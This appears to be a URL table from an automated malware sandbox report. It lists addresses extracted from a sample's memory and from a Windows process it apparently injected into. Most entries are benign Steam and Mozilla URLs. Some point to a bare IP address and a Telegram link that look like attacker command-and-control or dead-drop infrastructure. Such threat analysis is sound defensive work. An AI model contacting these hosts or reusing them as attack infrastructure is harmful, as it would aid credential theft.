https://49.12.197.9/-end-point:f	aspnet_regiis.exe, 00000003.00000003.2650340672.0000000002FB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/5	aspnet_regiis.exe, 00000003.00000003.2650340672.0000000002FB5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://49.12.197.9HIEBAK	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://49.12.197.9/CAAFHIEBKJ	aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	file.exe, 00000000.00000002.2153602808.000000006E820000.00000004.00000001.01000000.00000007.sdmp, aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000002.3371829647.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	aspnet_regiis.exe, aspnet_regiis.exe, 00000003.00000002.3402896622.000000006C80D000.00000002.00000001.01000000.0000000B.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.3.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3396775250.000000004029C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3391719379.00000000343C9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3383490094.0000000022576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650431203.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3386270513.00000000284EA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2650482641.0000000002FCE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552045952.0000000002FD1000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=fWwP	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	0%, Virustotal, Browse	unknown
http://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	ECBGCB.3.dr	false		unknown
https://49.12.197.9/$	aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/points/shop/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	file.exe	false		unknown
https://sketchfab.com	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EBAFBG.3.dr	false	URL Reputation: safe	unknown
https://www.youtube.com/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/$b	aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002EDB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EBAFBG.3.dr	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/recaptcha/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/;	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	file.exe	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/market/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
https://store.steampowered.com/news/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	aspnet_regiis.exe, 00000003.00000003.2518193807.0000000002FF0000.00000004.00000020.00020000.00000000.sdmp, AEHIEC.3.dr	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	file.exe	false		unknown
https://49.12.197.9/ta_	aspnet_regiis.exe, 00000003.00000003.2551866824.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531063121.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531200082.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2552104123.0000000002FCA000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2531268467.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2530342786.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
